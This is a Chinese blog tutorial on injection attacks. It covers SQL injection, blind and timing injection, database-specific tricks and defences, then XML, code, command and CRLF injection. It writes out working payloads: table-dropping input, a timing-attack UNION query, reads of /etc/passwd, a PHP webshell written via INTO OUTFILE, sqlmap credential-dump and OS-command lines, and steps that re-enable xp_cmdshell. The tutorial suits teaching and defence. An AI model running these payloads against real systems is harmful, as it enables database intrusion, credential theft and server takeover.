• 新人开车——注入攻击


    一.1   SQL注入

      1、注入攻击的本质,是把用户输入的数据当做代码执行。这里有两个关键条件:

        (1)用户能够控制输入

        (2)原本程序要执行的代码,拼接了用户输入的数据

         大家都耳熟能详了,我举一个例子,

          var   ship;

          ships=Request.form("ship");

          var  sql= "select * from Orders  where ships= ' "+ships+ " ' ";

         假如用户输入一段有语义的SQL语句,比如:

          Beijng';drop table Orders  --

           那么在执行时就会拼接成:

          "select * from Orders  where ships= ' Beijng';drop table Orders ' --

           我们看到,原本正常执行的查询语句,现在变成了查询完后,再执行一个drop表的操作,而这个操作,是用户构造了恶意数据的结果。

       在SQL注入的过程中,如果网站的WEB的服务器开启了错误回显,则会为攻击者提供极大的便利,比如攻击者在参数中输入一个单引号 “ ' ”,引起执行查询语句的语法错误,

    服务器直接返回了错误信息:

       Microsoft  JET  Database  Engine  错误  ‘80040e14’

       字符串的语法错误   在查询表达式  ‘ID=49 ’ ’ 中。

       /showdetail.asp ,行8

      从错误信息中可以知道,服务器用的是access数据库,查询语句的伪代码有可能是:

        select   XX  from table_x   where   id=$id

      错误回显披露了敏感信息,对于攻击者来说,构造SQL注入的语句就可以更加得心应手。

    一.2    盲注

     1、盲注的概念

      所谓的 “盲注”,就是在服务器没有错误回显时完成的注入攻击

      最常见的盲注验证方法是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。

      当攻击者构造条件 “ and  1=1”时,如果页面正常返回,再构造 “and 1=2” 如果页面结果将为空或者是一个出错页面,就可以判断 “ id ”参数存在SQL注入漏洞。(页面返回不一致就说明存在漏洞)

      在这个攻击过程中,服务器虽然关闭了错误回显,但是攻击者通过简单的条件判断,再对比页面返回结果的差异,就可以判断出SQL注入漏洞是否存在。。。

     2、盲注的一个技巧:Timing  Attack

      在MYSQL中,有一个BENCHMARK(count,expr)函数,它是用于测试函数性能的,有俩个参数,函数执行的结果是,将表达式expr执行count次。

      比如:

          select benchmark(10000,encode('hello','goodby'));

      就将encode('hello','goodby')执行了10000次,共用时4.74秒。

      因此,利用BENCHMARK(count,expr)函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。这是一种边信道攻击,这个攻击在盲注中被称为Timing  Attack。

      实例:

         1170  union  select  if (substring(current,1,1) =char(119),benchmark(5000,encode('MSG','BY 5 secode')),null) from (select Database as current)  as tb1;

      这个payload判断库名的第一个字母是否为char(119),即为小写的w。如果为真,则会通过BENCHMARK(count,expr)函数造成较长的时延,如果不为真,则该语句将很快执行完。

      如果当前数据库用户(current_user)具有写权限,那么攻击者还可以将信息写入本地磁盘中。比如写入Web目录中,攻击者就有可能下载这些文件

          1170 union all select  table_name,table_type from  information_schema.tables where table_schema='mysql'  order by table_name desc into outfile '/path/location/server/www/schema.txt '

      类似的,通过Dump文件的方法,还可以写入一个webshell:

          1170  union select "<? system($_request['cmd']); ?>",2,3,4 into outfile "/var/www/html/temp/c.php" --

    二、数据库攻击技巧

       SQL注入是基于数据库的一种攻击。不同的数据库有着不同的功能、不同的语法和函数,因此针对不同的数据库,SQL注入的攻击技巧也有所不同。

       2.1   常见的攻击技巧

      SQL注入可以猜解出数据库的对应版本,比如下面这个payload ,如果Mysql 的版本是4,则会返回TRUE:

        ?id=5  and  substring( @@version,1,1)  = 4

      下面这个Payload,则是利用union select 来分别确定表名admin是否存在,列名passwd是否存在:

        union    all   select  1,2,3 from admin;

        union    all   select 1,2,passwd  from admin;

      等等等。。。。

      这个过程非常的繁琐,所以非常必要使用一个自动化的工具来帮助完成整个过程。神器---------SQLMAP

      下面我就列举一下该神器的常见用法:

        (1)get型

          sqlmap  -u  "IP"   --is-dba                                                                       查看权限

          sqlmap  -u  "IP"  --dbs                                                                            所有数据库名

          sqlmap  -u  "IP"  --current-db                                                                 当前数据库名

          sqlmap  -u  "IP"   --Table  -D "数据库名"                                                查看想要查看数据库中都有哪些表

          sqlmap  -u  "IP"   --column  -T   "表名"  -D  "数据库名"                          查看有哪些字段

          sqlmap -u  "IP"    --dump  -C "username,password"  -T "表名"  -D  "数据库名"     查看具体字段下的值

          sqlmap -u "IP"  --dump-all                            全部下载

        (2)post型

          sqlmap -r  "IP"  --dbs                                   等,同上面差不多

          sqlmap -r  "IP"  -forms                                找到注入点   jjj=123

          sqlmap -r  "IP"  -forms -p jjj  -dbs                等

        (3)cookie注入

          sqlmap   -u   "IP"   --cookie  "id=56"  --level  2

           sqlmap   -u   "IP"    --tables    --cookie  "id=56"  --level  2    

        在sqlmap中出现黄色则说明 “失败”,转为cookie注入。  

      2.2   命令执行

      在注入攻击的过程中,常常会用到一些读写文件的技巧。比如在MYsql中,就可以通过  load_file()  读取系统文件,并通过  into dumpfile 写入本地文件。当然这要求当前数据库用户有读写系统相应文件或目录的权限。

        union   select     1,1,load_file("/etc/passwd"),1,1;

      如果要将文件读出后,再返回结果给攻击者,则可以使用下面的这个技巧:
        (1)  create  table  potoao(line blbo);

        (2)  union select 1,1,hex(load_file('/etc/passwd')),1,1  into dumpfile  '/tmp/potoao';

        (3)  load  data infile '/tmp/potoaos'  into table potoao;

      这需要当前数据库用户有创建表的权限。首先通过load_file()将系统文件读出,再通过 into dumpfile 将该文件写入系统中,然后通过load data  file 将文件导入创建的表中,最后就可以通过一般的注入技巧直接操作表数据了。

      除了可以使用  into  dumpfile外,还可以使用  into outfile,两者的区别是dumpfile 适用于二进制文件,它会将目标文件写入同一行内;而  outfile 则更适用于文本文件。

      写入文件的技巧,经常被用于导出一个webshell,为攻击者的进一步攻击做铺垫。因此在设计数据库安全方案时,可以禁止普通数据库用户具备操作文件的权限

      2.3     命令执行

      在MYSQL中,除了可以通过导出webshell间接地执行命令外,还可以利用 “用户自定义函数” 的技巧,即“UDF”来执行命令。

       为找到适应mysql5及之后版本,安全研究者们找到了另外的方法——通过  lib_mysqludf_sys 提供的几个函数执行系统命令,其中最主要的函数是sys_eval() 和sys_exec()。在攻击过程中,将lib_mysqludf_sys.so上传到数据库能访问到的路径下。在创建UDF之后,就可以使用sys_eval()等函数执行命令了。

      命令执行,在自动化注入工具sqlmap中已经集成了此功能。

      例如:

        sqlmap.py   -u  "http://www.123.com/asal/get.php?id"  --os-cmd  id -v  1

      UDF不仅仅是MYSQL的特性,其他数据库也有着类似的功能。在sqlserver中,则可以使用存储过程  “xp_cmdshell”执行系统命令。在oracle数据库中,如果服务器同时还有java环境,那么也可能造成命令执行。在sql注入后可以执行多语句的情况下,可以在oralce中创建java的存储过程执行系统命令。

      一般来说,在数据库中执行系统命令,要求具有较高的权限。在数据库加固时,可以参阅官方文档。在建立数据库账户时,应该遵守  “最小权限原则” ,尽量避免web应用使用数据库的管理员权限。

      2.4  攻击存储过程

      存储过程必须使用 call 或者 execute 来执行。在sqlserver和oracle数据库中都有大量内置的存储过程。在注入攻击的过程中,存储过程将为攻击者提供很大的便利。

      在sqlserver 中,存储过程 "xp_cmdshell" 可谓是臭名昭著,注入sqlserver时都是使用它执行系统命令。

        exec  master.dbo.xp_cmdshell   'cmd.exe  dir  c:' 

        exec  master.dbo.xp_cmdshell   'ping  '

      xp_cmdshell 在sqlserver 2000 中默认是开启的,如果禁止了,可以使用xp_addextendedproc开启它,但是在sqlserver 2005 及以后版本中则默认禁止了,但是如果当前的数据库用户拥有sysadmin权限,则可以使用sp_configure重新开启它;

        exec  sp_configure  'show  advanced  options',1

        reconfigure

        exec  sp_configure 'xp_cmdshell ',1

        reconfigure

      除了xp_cmdshell外,还有一些其他的存储过程对攻击过程也是有帮助的,比如xp_regread 可以操作注册表:

        exec  xp_regread   HKEY_MACHINE

        'SYSTEM\CurrentControlSet\Services\lanserver\parameters', 'nullsessionshares'

      等等,还有很多存储过程都非常有用。

      除了利用存储过程直接攻击外,存储过程本身也可能会存在注入攻击。

      2.5编码问题  ---宽字节注入

      注入攻击中常常会用到单引号,双引号等特殊字符。在应用中开发者为了安全经常会使用转义字符  “\”来转义这些特殊字符。单数当数据库使用了 “宽字符集”时,可能会产生一些意想不到的漏洞。比如当MYSQL使用了GBK编码时,oxbf27  和oxbf5c都会被认为是一个字符(双字节字符)。因此,假如攻击者输入:  oxbf27   or  1=1

    经过转义后,会变成 oxbf5c 27,转移符被吃掉,从而攻击成功。

      要解决这种问题,需要统一数据库、操作系统、web应用所使用的字符集 ,以避免各层对字符的理解存在差异。基于字符集的攻击并不局限于SQL注入,凡是会解析数据的地方都可能存在此问题。比如在XSS攻击时,由于浏览器与服务器返回的字符编码不同,也可能会存在字符集攻击。解决办法就是在HTML页面的<mets> 标签中指定当前页面的charset。

      如果因为种种原因无法统一字符编码,则需要单独实现一个用于过滤或转移的安全函数,在其中需要考虑到字符的可能范围。

      根据系统所使用的不同字符集来限制用户输入数据的字符允许范围,以实现安全过滤。

      2.6  SQL  COLUMN TRUNCATION   (截断攻击)

      在mysql的配置选项中,有一个sql_mode选项。当mysql的sql_mode设置为default时,即没有开启  STRICT_ALL_TABLES选项时,mysql对于用户插入的超长值只会提示waring,而不是error (如果是error则插入不成功),这可能会导致发生一些  “截断”  问题。

      开启strict模式:

        sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION" 

      关闭strict模式:

        sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

    三、正确地防御SQL注入

      从防御的角度来看,要做的事情有两件:

        (1)找到所有的SQL注入漏洞

        (2)修补这些漏洞

      sql注入的防御并不是一件简单的事情,开发者常常会走入一些误区。比如只对用户输入做一些escape处理,这是不够的。参考如下案例:

        $sql="select  id,name,mail  from register where id=".mysql_real_escape_string($_GET['id']);

        当攻击者构造的注入代码如下:

        http://www.123.com/user.php?id=2,and,1=0,union,select,1,concat(user,0x3a,password),3,4,5,6 from,mysql.user,where,user=substring_index(current_user(),char(64),1)

        将绕过mysql_real_escape_string的作用注入成功。

        因为mysql_real_escape_string仅仅会转义:’、”、\r 、\n、NULL 、Control-Z   。这几个字符,在本例中sql注入所使用的payload完全没有用到这几个字符。

        那么到底如何正确的防御呢?

        1、使用预编译语句

        使用预编译的sql语句,sql语句的语义不会发生改变。在sql语句中,变量用?表示,攻击者无法改变sql的结构。

        $query="insert into mycity (name,countrycode,district)  values (?,?,?)";

        $stmt=$mysqli->prepare($query);

        $stmt->bind_param("sss",$val1,$val2,$val3);

        $val1='gart'

        $val2='DEU'

        $val3='BADEN'

        $stmt->execute();

        2、使用存储过程

        使用存储过程的效果和使用预编译语句类似,其区别就是存储过程需要先将sql语句定义在数据库中。但需要注意的是,存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程内使用动态的sql语句。如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。

        但是有时候,可能无法使用预编译语句或存储过程,该怎么办?这时候只能再次回到输入过滤和编码等方法上来。

        3、检查数据类型

        检查输入数据的数据类型,在很大程度上可以对抗SQL注入。

        比如下面这段代码,就限制了输入数据的类型只能为   integer  ,在这种情况下,也是无法注入成功的。

        <?php

          settype($offset,'integer');

          $query="select id,name  from  products order by name limit  20  offset $offset;";

          $query=sprintf("select id,name  from  products order by name limit  20  offset %d;",$offset);

        ?>

        其他的数据格式或类型检查也是有益的。比如用户在输入邮箱时,必须严格按照邮箱的格式。但是数据类型检查并非万能的,如果需求就是需要用户提交字符串,比如一段短文,则需要依赖其他的方范sql注入。

        4、使用安全函数

        一般来说,各种web语言都实现了一些编码函数,可以帮助对抗sql注入。但是前文举了一些编码函数被绕过的例子,因此我们需要一个足够安全的编码函数。

        安全专家编写的函数:

           ESAPI.encoder().encodeForSQL(new  OracleCode(),queryparam);

        在使用时:

           Code  ORACLE_CODEC = new  OracleCode();

           String query="select user_id from user_data where  user_name=' "+ESAPI.encoder().encodeForSQL(ORACLE_CODE,req.getParameter("userID"))+  

           " ' and user_password=' "   +  ESAPI.encoder().encodeForSQL(ORACLE_CODE,req.getParameter("pwd"))  +" ' " ;

         在最后,从数据库自身的角度来说,应该使用最小权限原则,避免WEB应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一个数据库,则也应该为每个应用分配不同的账户。web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。

     

    四、其他注入攻击

      4.1    XML注入

      XML是一种常用的标记语言,通过标签对数据进行结构化表示。XML与HTML都是SGML(标准通用标记语言)。

        final  string guestrole="guest_role";

        .......

        //userdata是准备保存的XML数据,接收了name和email两个用户提交来的数据

        string  userdata = "<user role="    + guestrole +    "><name>"+

        request.getParameter("name") +

         "</name><email>" 

        +  request.getParameter("email")    + "</email></user>";

      但是如果用户构造了恶意输入数据,就有可能形成注入攻击。比如用户输入的数据如下:

        user1@a.com</email></user><user role="admin_role"><name>test</name><email>user2@a.com

    最终生成的XML文件里被插入一条数据:

        <?xml version="1.0"  encoding="utf-8" ?>

        <user role ="guest_role">

          <name>user1

          </name>

          <email> user1@a.com </email>

        </user>

        <user role="admin_role">

          <name>test</name>

          <email>user2@a.com</email>

        </user>

      由此可见xml注入,也需要满足注入攻击的两大条件:用户能控制数据的输入;程序拼凑了数据。

      修补方案是,对用户输入数据中包含的 “语言本身的保留字符”进行转义

        static

          {

            entityToCharacterMap = new HashTrie<Character>();

            entityToCharacterMap.put("lt",'<');

            entityToCharacterMap.put("gt",'>');

            ........

          }

      

      4.2代码注入

      代码注入比较特别一点。代码注入与命令注入往往都是有一些不安全的函数或者方法引起的,其中的典型代表就是eval();如下例:

        $myval="varname";

        $x=$_GET['arg'];

        eavl("\$myval = $x;");

      攻击者可以通过如下payload实施代码注入:

        /index.php?arg=1;phpinfo()

      存在代码注入漏洞的地方,与“ 后门 ”没有区别。

      此外,Jsp的动态include也能导致代码注入。严格来说,PHP、JSP的动态include(文件包含漏洞)导致的代码执行,都可以算是一种代码执行。

      代码注入多见于脚本语言,有时候代码注入可以造成命令注入。比如:

        <?php

          $varerror=system( 'cat' .$_GET['pageid'], $valoretorno);

          echo  $varerror;

        ?>

      这就是一个典型的命令注入,攻击者可以使用system()函数执行他想要的系统命令。

      vulnerable.php?pageid-loquesea ; ls

      在对抗代码注入、命令注入时,需要禁用eval()、system()等可以执行命令的函数。如果一定要使用这些函数,则需要对用户的输入数据进行处理。此外,在php/jsp重比米娜动态include远程文件,或者安全地处理它。

      4.3  CRLF注入

      CRLF实际上是两个字符:CR是Carriage  Return (ASCII  13, \r ), LF是 line Feed (ASCII 10,\n)。\r\n  这两个字符是用于表示换行的,其十六进制编码分别为  ox0d、 ox0a  。

      CRLF常被用做不同语义之间的分隔符。因此通过 “注入CRLF字符”,就有可能改变原有的语义。

      比如,在日志文件中,通过CRLF有可能构造出一条新的日志。下面这段代码,将登陆失败的用户写入日志文件中。

        def  log_failed_login(username)

          log = open("access.log",'a')

          log.wirte("user login failed for :%s \n " % username)

          log.colse()

      正常情况下,会记录下如下日志:

          user login failed for :guest

          user login failes for: admin

      由于没有处理换行符 “\r\n” ,因此当攻击者输入如下数据时,就可能插入一条额外的日志记录。

        guest \n user  login  succeeded for:admin

      由于换行符 “\n”的存在,会变成:

         user login failed for :guest

         user login succeeded for: admin    (第二条记录是伪造的)

      CRLF注入并非仅能用于log注入,凡是使用CRLF作为分割符的地方都可能存在这种注入,比如 “注入HTTP头” ,它可以破坏HTTP协议的完整性。

      对抗CRLF的方法很简单,只需要处理好 “\r” 、“\n” 这两个保留字符即可,尤其是那些使用 “换行符”作为分隔符的应用。

    五、总结

      在对抗注入攻击时,只需要牢记“数据与代码分离原则”,在“拼凑”发生的地方进行安全检查,就能避免此类问题。

      

             

      

        

      

      

       

       

       

      

      

      

  • 相关阅读:
    Expert C programming书摘
    修改文件时间属性的方法
    算法学习, 开始计划
    小游戏学习搜集
    C++ 练习记录2---Effective STL中的vector<bool>
    C++ 练习记录1--vector<T> 中T的初始化
    oracle的wm_concat函数实现行转列
    Oracle批量插入有日期类型数据
    如何将zTree选中节点传递给后台
    第五章:1.数组和广义表 -- 数组
  • 原文地址:https://www.cnblogs.com/hdsec/p/8445740.html
Copyright © 2020-2023  润新知